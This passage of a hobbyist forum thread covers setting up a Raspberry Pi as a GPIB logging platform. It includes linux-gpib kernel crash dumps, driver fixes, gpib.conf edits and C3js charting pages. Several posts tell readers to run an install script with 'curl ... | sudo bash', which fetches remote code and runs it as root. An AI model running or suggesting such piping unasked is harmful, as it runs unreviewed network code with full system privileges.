 kernel:[  764.800323] Internal error: Oops: 817 [#1] SMP ARM

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800627] Process ibtest (pid: 9248, stack limit = 0xb2fbe210)

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800639] Stack: (0xb2fbfd70 to 0xb2fc0000)

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800653] fd60:                                     8025dc98 b5193abc 00000000 801e2fb4

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800669] fd80: b5193ab4 00000006 b8f7b000 b5193a80 a9fa5700 00000014 b2fbfdbc b2fbfda8

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800685] fda0: 80714e4c 80714c94 a9fa5710 7f3bee80 b2fbfdfc b2fbfdc0 7f3c9694 80714df8

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800701] fdc0: 7ede51f0 7f3bee80 00000000 00000000 80185ea4 7f3bee80 00000006 b8f7b000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800717] fde0: 00000001 7f3bee88 7ede51f0 7f3bee80 b2fbfe24 b2fbfe00 7f3bd2f4 7f3c9570

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800732] fe00: b2fbfe60 b8f7b000 00000006 b2fbfe68 00000006 00000000 b2fbfefc b2fbfe28

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800748] fe20: 7f3bae30 7f3bd298 b2fbfe60 00000000 a9fa5440 b2fbfe40 807179c4 00000001

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800764] fe40: b8f7b000 b2fbe000 a9fa5dc0 7f3bee80 7ede52a0 00000000 00000004 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800779] fe60: 00000000 a9d83600 7ede52a0 00000000 00000006 00000000 00000001 00000001

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800795] fe80: 0000ffff 00000000 804c51ac 804c779c b2fbfedc b2fbfea0 804bccc4 804c5198

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800811] fea0: a9e71300 804c12e4 b6325c00 b2f0b000 b2fbff80 b6325c00 b2fbff80 76fa4000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800827] fec0: b2fbff80 00000001 b2fbe000 00000000 b2fbff4c 7ede51f0 b2e561c8 a9da4240

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800843] fee0: c018a065 00000003 b2fbe000 00000000 b2fbff7c b2fbff00 802830e8 7f3b948c

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800858] ff00: 8028fd44 00000001 b6325c08 b2928000 aac46e10 b2928000 00000000 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800874] ff20: 00000020 00000001 b6325c00 00000000 aac46e10 00000002 b6325c08 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800890] ff40: b2fbff7c b2fbff50 802701f0 802b6950 00000000 a9da4240 7ede51f0 a9da4240

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800906] ff60: c018a065 00000003 b2fbe000 00000000 b2fbffa4 b2fbff80 802838a0 80283048

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800921] ff80: 00000001 00000000 01484220 00000006 00000036 80108244 00000000 b2fbffa8

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800937] ffa0: 801080c0 80283868 00000000 01484220 00000003 c018a065 7ede51f0 00000001

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800952] ffc0: 00000000 01484220 00000006 00000036 7ede52a0 76f493c0 76faa000 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800968] ffe0: 76f45294 7ede51ec 76f3a630 76e95f2c 00000010 00000003 00000000 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.801292] Code: e50b9030 e3e05000 e50b302c e3a08002 (e5832000)

dmesg
Code: [Select]
[  747.328240] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready: unexpected data: buffer[6]=0xf, expected 0x2
[  747.328245] ni_usb_dump_raw_block:

[  747.328253]  40
[  747.328257]   1
[  747.328261]   0
[  747.328264]   8
[  747.328268]  30
[  747.328271]   0
[  747.328274]   f
[  747.328280]   0

[  747.328286]   0
[  747.328290]   3
[  747.328293]   0

[  764.800266] Unable to handle kernel NULL pointer dereference at virtual address 00000000
[  764.800286] pgd = b6338000
[  764.800296] [00000000] *pgd=32b4c835, *pte=00000000, *ppte=00000000
[  764.800323] Internal error: Oops: 817 [#1] SMP ARM
[  764.800334] Modules linked in: bnep hci_uart btbcm bluetooth agilent_82357a(O) ni_usb_gpib(O) gpib_common(O) evdev joydev fb_ili9486(C) fbtft(C) syscopyarea sysfillrect ads7846 sysimgblt fb_sys_fops hwmon brcmfmac brcmutil cfg80211 rfkill snd_bcm2835 snd_pcm snd_timer snd w1_gpio i2c_bcm2835 spi_bcm2835 wire bcm2835_gpiomem cn uio_pdrv_genirq fixed uio i2c_dev fuse ipv6
[  764.800490] CPU: 2 PID: 9248 Comm: ibtest Tainted: G         C O    4.9.11-v7+ #969
[  764.800499] Hardware name: BCM2835
[  764.800509] task: b5243b00 task.stack: b2fbe000
[  764.800532] PC is at __mutex_lock_slowpath+0x80/0x164
[  764.800546] LR is at __mutex_lock_slowpath+0x54/0x164
[  764.800559] pc : [<80714d08>]    lr : [<80714cdc>]    psr: a0000013
sp : b2fbfd70  ip : b2fbfd70  fp : b2fbfda4
[  764.800572] r10: b5193ab4  r9 : b5193abc  r8 : 00000002
[  764.800583] r7 : b5193ab8  r6 : b5243b00  r5 : ffffffff  r4 : b5193ab4
[  764.800594] r3 : 00000000  r2 : b2fbfd74  r1 : 00000000  r0 : b5193ab8
[  764.800606] Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
[  764.800617] Control: 10c5383d  Table: 3633806a  DAC: 00000055
[  764.800627] Process ibtest (pid: 9248, stack limit = 0xb2fbe210)
[  764.800639] Stack: (0xb2fbfd70 to 0xb2fc0000)
[  764.800653] fd60:                                     8025dc98 b5193abc 00000000 801e2fb4
[  764.800669] fd80: b5193ab4 00000006 b8f7b000 b5193a80 a9fa5700 00000014 b2fbfdbc b2fbfda8
[  764.800685] fda0: 80714e4c 80714c94 a9fa5710 7f3bee80 b2fbfdfc b2fbfdc0 7f3c9694 80714df8
[  764.800701] fdc0: 7ede51f0 7f3bee80 00000000 00000000 80185ea4 7f3bee80 00000006 b8f7b000
[  764.800717] fde0: 00000001 7f3bee88 7ede51f0 7f3bee80 b2fbfe24 b2fbfe00 7f3bd2f4 7f3c9570
[  764.800732] fe00: b2fbfe60 b8f7b000 00000006 b2fbfe68 00000006 00000000 b2fbfefc b2fbfe28
[  764.800748] fe20: 7f3bae30 7f3bd298 b2fbfe60 00000000 a9fa5440 b2fbfe40 807179c4 00000001
[  764.800764] fe40: b8f7b000 b2fbe000 a9fa5dc0 7f3bee80 7ede52a0 00000000 00000004 00000000
[  764.800779] fe60: 00000000 a9d83600 7ede52a0 00000000 00000006 00000000 00000001 00000001
[  764.800795] fe80: 0000ffff 00000000 804c51ac 804c779c b2fbfedc b2fbfea0 804bccc4 804c5198
[  764.800811] fea0: a9e71300 804c12e4 b6325c00 b2f0b000 b2fbff80 b6325c00 b2fbff80 76fa4000
[  764.800827] fec0: b2fbff80 00000001 b2fbe000 00000000 b2fbff4c 7ede51f0 b2e561c8 a9da4240
[  764.800843] fee0: c018a065 00000003 b2fbe000 00000000 b2fbff7c b2fbff00 802830e8 7f3b948c
[  764.800858] ff00: 8028fd44 00000001 b6325c08 b2928000 aac46e10 b2928000 00000000 00000000
[  764.800874] ff20: 00000020 00000001 b6325c00 00000000 aac46e10 00000002 b6325c08 00000000
[  764.800890] ff40: b2fbff7c b2fbff50 802701f0 802b6950 00000000 a9da4240 7ede51f0 a9da4240
[  764.800906] ff60: c018a065 00000003 b2fbe000 00000000 b2fbffa4 b2fbff80 802838a0 80283048
[  764.800921] ff80: 00000001 00000000 01484220 00000006 00000036 80108244 00000000 b2fbffa8
[  764.800937] ffa0: 801080c0 80283868 00000000 01484220 00000003 c018a065 7ede51f0 00000001
[  764.800952] ffc0: 00000000 01484220 00000006 00000036 7ede52a0 76f493c0 76faa000 00000000
[  764.800968] ffe0: 76f45294 7ede51ec 76f3a630 76e95f2c 00000010 00000003 00000000 00000000
[  764.800998] [<80714d08>] (__mutex_lock_slowpath) from [<80714e4c>] (mutex_lock+0x60/0x64)
[  764.801039] [<80714e4c>] (mutex_lock) from [<7f3c9694>] (ni_usb_write+0x130/0x3a8 [ni_usb_gpib])
[  764.801115] [<7f3c9694>] (ni_usb_write [ni_usb_gpib]) from [<7f3bd2f4>] (ibwrt+0x68/0xb4 [gpib_common])
[  764.801181] [<7f3bd2f4>] (ibwrt [gpib_common]) from [<7f3bae30>] (ibioctl+0x19b0/0x24ac [gpib_common])
[  764.801226] [<7f3bae30>] (ibioctl [gpib_common]) from [<802830e8>] (do_vfs_ioctl+0xac/0x820)
[  764.801249] [<802830e8>] (do_vfs_ioctl) from [<802838a0>] (SyS_ioctl+0x44/0x6c)
[  764.801274] [<802838a0>] (SyS_ioctl) from [<801080c0>] (ret_fast_syscall+0x0/0x1c)
[  764.801292] Code: e50b9030 e3e05000 e50b302c e3a08002 (e5832000)
[  764.801306] ---[ end trace d5cccf1ab6a06095 ]---


Another useful trick for RPi3 is overclock SD card, this has significant impact on performance
Code: [Select]
sudo bash -c 'printf "dtoverlay=sdhost,overclock_50=100\n" >> /boot/config.txt'
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #316 on: February 22, 2017, 06:53:07 pm »

I just tried with kernel 4.9.11 with similar results.
ibtest


Reported to Dave Penkler  :-+

/Bingo
« Last Edit: February 22, 2017, 08:11:07 pm by bingo600 »
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #317 on: February 22, 2017, 08:07:24 pm »

I just tried with kernel 4.9.11 with similar results.
ibtest


Reported to Dave Penkler  :-+

/Bingo
Thanks! It is the same with kernel 4.4.38 and 4.0.4
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #318 on: February 22, 2017, 08:11:31 pm »

And fix might be here

Quote
Ooops - forgot to initialise the shiny new mutex.
New version in SVN r1658
also tarball linux-gpib-4.0.4rc2.tar.gz in 4.0.4 folder.

/Bingo
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #319 on: February 22, 2017, 08:58:28 pm »

And fix might be here

Quote
Ooops - forgot to initialise the shiny new mutex.
New version in SVN r1658
also tarball linux-gpib-4.0.4rc2.tar.gz in 4.0.4 folder.

/Bingo

Yep it works like a charm with 4.4.38, extra kudos for Dave.
Also Agilent stiil works:)
Code: [Select]
[   43.101549] gpib0: exiting autospoll thread
[   43.102326] ni_usb_gpib: attach
[   43.102356]  attached to bus interface 0, address 0xb618b000
[   43.111675]  product id=0x709b
[   43.111841] ni_usb_hs_wait_for_ready: board serial number is 0x169a301
[   43.111990] /opt/linux-gpib-4.0.4rc2/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready: unexpected data: buffer[6]=0xf, expected 0x2
[   43.112002] ni_usb_dump_raw_block:
[   43.112014]  40  1  0  8 30  0  f  0
[   43.112042]   0  3  0
[   43.112059] /opt/linux-gpib-4.0.4rc2/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready exit retval=0

Update: It was successfully tested with 4.9.11 kernel.
« Last Edit: February 22, 2017, 09:15:43 pm by plesa »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #320 on: February 23, 2017, 07:12:57 pm »
Fun w. a $11 OrangePi Zero

https://www.eevblog.com/forum/reviews/$11-orangepi-zero-as-linux-gpib-server/msg1143745/#msg1143745

/Bingo
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #321 on: February 24, 2017, 08:05:11 am »
Fun w. a $11 OrangePi Zero
The Plus and Plus2 models even have SATA connector, though there's only an SATA to USB2.0 adapter behind it, which limits SATA performance a lot.
When reading about the poor sw support, I decided I already had enough fun with the RPI. For you this OrangePi might be perfect though.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #322 on: February 24, 2017, 01:17:37 pm »
The price & size was what made me try it out.
And it seems like Armbian works fine on it, no troubles yet.

I think the bad sw-support is OPI's own implementations of OS'es.

Best sw support          : RasPi
Best hw performance  : Odroid

For now my OPZ is for fun ($11) , but it seems to behave and perform like a Raspi2 or better.
But this is based on having had the OPZ for less than 24 hours.


The $11 is a "Magic price" for me in DK , it means it's below the Customs limit ($12).
And i don't get a $23 Customs fee when getting it handed over via DK-Mail.
 

/Bingo
« Last Edit: February 24, 2017, 01:20:16 pm by bingo600 »
 

Offline enut11

  • Frequent Contributor
  • **
  • Posts: 933
  • Country: au
  • Love building/modifying/restoring test equipment
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #323 on: March 05, 2017, 06:38:50 pm »
@plesa
Without reading through 300+ replies, is there anything here to help me set up a RP3 to log the output of a HP3456A using an Agilent USB-GPIB interface?
Enut11
an electronics nut from wayback...
 


Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #325 on: March 08, 2017, 09:10:29 pm »
Updated to kernel 4.4.50 and latest Raspbian with usage linux gpib 4.0.4 rc2
Script update RPI to latest tree, download linux GPIB, VXI, USBTMC and change configuration accordingly.
So to make your Volnut iamege, just download the
https://downloads.raspberrypi.org/raspbian/images/raspbian-2017-03-03/2017-03-02-raspbian-jessie.zip
Restore it to SD card and after automatic resize run script in terminal
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashthis will check the version update it and reboot if needed and run script again ( in case the kernel is different than 4.4.50.
Your GPIB adapter should be connected to set gpib.conf properly.
Otherwise modify gpib.conf manually
 
The following users thanked this post: eliocor, bingo600, ManateeMafia, VK5RC, CalMachine

Offline blackdog

  • Frequent Contributor
  • **
  • Posts: 736
  • Country: nl
  • Please stop pushing bullshit...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #326 on: April 14, 2017, 10:58:12 am »
Hi,

I loaded the last "plesa image" on a disk and run the script from March-9
I have connected my Agilent_82357A to te PI and try to edit the gpib.conf file.
But there is so much other stuf in this gpib.conf file about a PCi devices...

Can someone show me how to make the gpib.conf workable for the Agilent_82357A?

And then, lets say the Agilent_82357A is detected, i cant find how to use the PI with the GPIB software.
It is difficult to filter the basic stuff from al the pages of this project.
Can some one show me howe to use the PI for logging a 3458A of 34401A?

Kind regards,
Blackdog
Necessity is not an established fact, but an interpretation.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #327 on: April 14, 2017, 11:47:57 am »
Download latest image
https://downloads.raspberrypi.org/raspbian_latest
perform (upddate ( sudo apt-get update && sudo apt-get -y upgrade )
The latest kernel which is tested is 4.4.50 ( to check run uname -a)
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bash
Because the image you restored contain the previous version of linux-gpib which does not work with 82357B and maybe 82357A. I do not know.

82357A adapter is not in script but if you send me the USB ID I can add it.
Or modify

Code: [Select]
if lsusb | grep -q '0957:0518'; then
sudo sed -i 's/ni_pci/agilent_82357a/g' /etc/gpib.conf
echo "Agilent 82357B found"
sudo modprobe agilent_82357a
fi

When you finish this run the ibtest to check the communication with GPIB instruments.
For basic logging task  there are few basic scripts
https://github.com/PlesaEEVBlog/RPi_LogNut
You just needs to modify paths
 

Offline blackdog

  • Frequent Contributor
  • **
  • Posts: 736
  • Country: nl
  • Please stop pushing bullshit...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #328 on: April 14, 2017, 12:15:47 pm »
Hi plesa,

Thanks for your quick response, is appreciated.  :)

I wil run your code and wil tell it here if its working.

Kind regards,
Blackdog
Necessity is not an established fact, but an interpretation.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #329 on: April 14, 2017, 08:30:02 pm »
C3js extension of D3js seems to be the way to go. It is much easier for configuration compare to D3js.For examples check http://c3js.org/

Code: [Select]
<!DOCTYPE html>
<html lang="en">
<head>
    <title>C3 Test for RPi LogNut</title>
    <meta charset="utf-8" />
    <link href="c3js.org/c3.min.css" rel="stylesheet" />
    <script src="c3js.org/d3.min.js"></script>
    <script src="c3js.org/c3.min.js"></script>
</head>
<body>
    <div id="chart"></div>

    <script>

    var chart = c3.generate({
        data: {
            url: 'logs/K2604B_K6517B_K6485_Comparison_Log.csv',
            type: 'line' 
        }
       
    });
    </script>

</body>
</html>
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #330 on: April 15, 2017, 12:06:54 pm »
Another test page with comparison of K6517B and K6485. I can easily display data on mouse over, easier scaling than D3, secondary axis also possible.

Code: [Select]
<!DOCTYPE html>
<html lang="en">
<head>
    <title>C3js Test Page</title>
    <meta charset="utf-8" />
    <link href="c3js.org/c3.min.css" rel="stylesheet" />
    <script src="c3js.org/d3.min.js"></script>
    <script src="c3js.org/c3.min.js"></script>
</head>
<body>
<div id="chart"></div>
     
<script>
    window.chart = c3.generate({
    bindto: '#chart',
    size: {
        height: 950,
        width: 1700
    },
    data: {
        x: 'TimeStamp',
        url: 'logs/K2604B_K6517B_K6485_Comparison_Log.csv',
        //url: 'logs/K2604B_K6517B_K6485_Comparison_Log2.csv',
        xFormat: '%d/%m/%Y-%H:%M:%S'
        //xFormat: '%Y-%m-%dT%H:%M:%S'
    },
    point: {
        show: false
    },
    axis: {
        x: {
            type: 'timeseries',
            tick: {
                count: 20,
                format: '%H:%M:%S'
            }
        }
    }
});
    </script>

</body>
</html>
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #331 on: April 15, 2017, 12:12:00 pm »
Hm, cool. Want some bulky dataset of 11 days 5xLTZ logging to try performance too? :)
Do you have 6220/6221? I'd be interested to see how it compare vs 6517B/6485 too. :)

Also scientific notation usually looks much better than all those eye-breaking stashes of zeros ;).
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #332 on: April 15, 2017, 03:52:06 pm »
Hehe, you are calling 1MB file bulky :) Processing time with Chromium is 13s :)
So it is faster than D3js ( C3 is using D3).
Additional benefit is much easier configuration.

I do not have 6220/6221, but I will expect similar behavioral like 2636B. I can run the same test with this unit.
The 2602B is also better than 2400 series.

Scientific notation is ongoing, I'm using it in Python ( si_prefix si_format)  be patient, when it will be finished I will put in on GitHub.
 

Offline SvanGool

  • Regular Contributor
  • *
  • Posts: 135
  • Country: nl
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #333 on: April 15, 2017, 04:17:40 pm »
@Plesa

The "https://downloads.raspberrypi.org/raspbian_latest" won't work it has just been updated and is not compatible with your script (has kernel version "4.4.50+").
I changed the script (deleting the "V7"), but testing it, it only produces a time-out (error 19), the adapter is recognized and does work with the KS software under Win10.
Meanwhile, I saw you advising an older RPI image (2017-03-02-raspbian-jessie) in an older email, so I will try that. To be sure that my configuration was correct.
# Don't hurry, the past will wait. #
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #334 on: April 15, 2017, 04:20:55 pm »
« Last Edit: April 15, 2017, 04:23:48 pm by plesa »
 

Offline SvanGool

  • Regular Contributor
  • *
  • Posts: 135
  • Country: nl
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #335 on: April 15, 2017, 04:26:02 pm »
It does work, but not with your script ! The script doesn't recognize the kernel version reported by the latest RPI image and tries to update the kernel.
« Last Edit: April 15, 2017, 04:30:40 pm by SvanGool »
# Don't hurry, the past will wait. #
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #336 on: April 15, 2017, 05:48:43 pm »
It does work, but not with your script ! The script doesn't recognize the kernel version reported by the latest RPI image and tries to update the kernel.

You mentioned that you needs to remove v7, which seems that you are using the RPi1 or Raspberry Zero.
Script mentioned above is only for RPi2 and higher ( not for PRi1 or RPi0).
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #337 on: April 15, 2017, 07:47:56 pm »
Hm, cool. Want some bulky dataset of 11 days 5xLTZ logging to try performance too? :)
Do you have 6220/6221? I'd be interested to see how it compare vs 6517B/6485 too. :)

Also scientific notation usually looks much better than all those eye-breaking stashes of zeros ;).
 

Offline SvanGool

  • Regular Contributor
  • *
  • Posts: 135
  • Country: nl
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #338 on: April 16, 2017, 09:07:39 pm »
@Plesa

You were fully right: I thought I had a RPI 2, but after I opened the box, I checked again and it is a 1B+, sorry for causing confusion !
# Don't hurry, the past will wait. #
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #339 on: April 16, 2017, 09:10:38 pm »
@Plesa

You were fully right: I thought I had a RPI 2, but after I opened the box, I checked again and it is a 1B+, sorry for causing confusion !

It is OK, just delete the kernel check and it should work. I just run it on RPi0.Or post your message if needed.
 

Offline SvanGool

  • Regular Contributor
  • *
  • Posts: 135
  • Country: nl
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #340 on: April 17, 2017, 12:47:28 pm »
Indeed that does the job + restarting the system before you continue  :)

Don't forget (I did) to run /usr/local/sbin/gpib_config once after boot or put it in /etc/rc.local if you have the gpib adapter always connected.


[Edited to add note on gpib_config]
« Last Edit: April 17, 2017, 10:08:37 pm by SvanGool »
# Don't hurry, the past will wait. #
 

Offline vindoline

  • Supporter
  • ****
  • Posts: 324
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #341 on: August 04, 2017, 08:09:04 pm »
Hi Plesa and the group,

I'm a complete RasPi beginner but I'm very interested in getting one set up for datalogging! I've followed the instructions to:

download raspbian-2017-03-03/2017-03-02-raspbian-jessie.zip, Restore it to SD card and run script in terminal:
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bash

It took quite a while to execute the script - longer than I was willing to watch. When I returned some time later the last entries on my terminal were:

Collecting si-prefix
  Downloading si-prefix-0.5.tar.gz (49kB)
    100% |????????????????????????????????| 51kB 467kB/s
Building wheels for collected packages: si-prefix
  Running setup.py bdist_wheel for si-prefix ... done
  Stored in directory: /root/.cache/pip/wheels/7b/e3/f0/6c628d1ed2fe11531947b4d759bb61a39f45bf50da106d15f1
Successfully built si-prefix
Installing collected packages: si-prefix
Successfully installed si-prefix-0.5
depmod: ERROR: could not open directory /lib/modules/4.4.50-v7+: No such file or directory
depmod: FATAL: could not search modules: No such file or directory
failed to open device file '/dev/gpib0'
main: No such device or address
pi@raspberrypi:~ $

It seems to have stopped due to an error. I looked in the file system and /dev/gpib0 does exist. However I have /lib/modules/4.9.35-v7+ NOT 4.4.50-v7+
Any advice would be greatly appreciated!
Also, how do I use the raspberry Pi once everything is installed happily? Sorry, but I need the hand-holding (at least to begin)
 

Offline vindoline

  • Supporter
  • ****
  • Posts: 324
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #342 on: August 05, 2017, 01:54:56 am »
OK, I re-downloaded the most recent rasping and re-ran the install_gpib_support script. This time it seemed to complete OK without errors.

Now what? How does one use this tool? I'm hoping to be able to use an Arduino based GPIB adapter with my Keithley 196 meter as well as setting up logging of environmental temp/humidity etc. Any advice is greatly appreciated!
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #343 on: August 05, 2017, 08:26:56 am »
196 Isn't SCPI. So you'll have to program all of the mashed up commands....
 

Offline alm

  • Super Contributor
  • ***
  • Posts: 2840
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #344 on: August 05, 2017, 10:35:37 am »
Neither is the 3458A. Just means you need the more cryptic but simpler command set that mostly maps GPIB commands to front panel button presses, e.g. F0 is the left most function button, F1 the second from the left. Documentation is important, because a command like F1R5Q0M1T5X is not easy to decipher.

Mapping one of those meters to the IVI triggering model is good fun ;). But it does not look like this project cares about abstractions, so that is a hurdle you will not have to overcome.

Offline vindoline

  • Supporter
  • ****
  • Posts: 324
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #345 on: August 05, 2017, 03:53:38 pm »
OK, at a really basic level, I don't know what I'm doing.
Via SSH I ran the install script again. It ends with:

failed to configure boardtype: ni_pci
failed to configure board
main: Invalid argument

I'm not surprised as I don't have an National Instruments board, it's an arduino based unit (http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html).

When I reboot the pi it just sits there. There appears that no logging program is running. There is no web server running. Is there a program I'm supposed to run? Am I supposed to access it via a web browser?

I am able to get the Arduino GPIB adapter talking to my Mac via a Python in terminal. My goal is to get it working on the RPi with environmental logging, which I thought was worked out here.

Thanks in advance to anyone who can help me out!
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #346 on: August 06, 2017, 03:06:10 pm »
The script on github is detecting NI USB HS, etc and Agilent 82357b adapters and according to connected adapter it will set the .conf file.
So it is OK that you received such error.

The script does not install web server (nginx + samba) for this your will needs to use this script Web_Samba.sh
You can run it same way like GPIB install script
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash

For Arduino you will needs to rewrite the python scripts from Github, I did not reach point to release them with support for Prologix or Arduino GPIB adapters.




 
The following users thanked this post: vindoline

Offline alm

  • Super Contributor
  • ***
  • Posts: 2840
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #347 on: August 06, 2017, 03:27:31 pm »
The ugliest thing is to write a Keithley_196_Prologix_Log.py script that accesses the emulated serial port directly.

The slightly less ugly way is to write a GpibPrologix module that implements the same interface as the standard Gpib module. I have done something similar in the past for a scope that could be accessed through GPIB or RS-232 by implementing a GpibSerial module that emulated the GPIB interface. See attachment. To use it I would use:
Code: (Python) [Select]
import GpibSerial as Gpib
#import Gpib

scope = gpib.find('tds200')
gpib.clear(scope)
gpib.write(scope,'measu:meas1:typ PK2;:measu:meas1:sou CH1')
gpib.write(scope,'measu:meas1:val?')
pk2 = float(gpib.read(scope,80))
It would not be a drop-in replacement because it does not send the Prologix command (this was a direct RS-232 connection) and may not implement all functionality that this code expects.

A nicer way is to actually use a generic backend like PyVISA. Unfortunately it does not look like PyVISA currently supports the Prologix interface, but it would abstract the hardware interface from the logging code. Adding proper Prologix support to PyVISA does not look too difficult.

And if you also want to abstract the instrument itself, you could use python-ivi on top of PyVISA. That is the way I am going for any new instrument control code I write.
 
The following users thanked this post: vindoline

Offline vindoline

  • Supporter
  • ****
  • Posts: 324
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #348 on: August 07, 2017, 02:43:06 pm »
Pleasa, thank you very much for your response. I didn't realize that you hadn't yet implemented Prologix support.

alm, thank you too. I'll take a look at doing this, but I'm afraid it may be well over my head programming wise. I'll give a shot at figuring it out though!
 

Offline nisma

  • Regular Contributor
  • *
  • Posts: 87
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #349 on: August 09, 2017, 11:39:34 pm »
I only have rpi1, so i cannot test this logging platform.
Prologix works with  pySerial and wanglib . 
The 3.3V arduino works very well with rpi on hw rs232 and speed set at 4Mbit/sec.
I don't use orginal Prologix, just arduino with similar firmware.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #350 on: August 10, 2017, 06:03:09 am »
I only have rpi1, so i cannot test this logging platform.

It should run on your Rapsberry Pi 1, too, works for me.
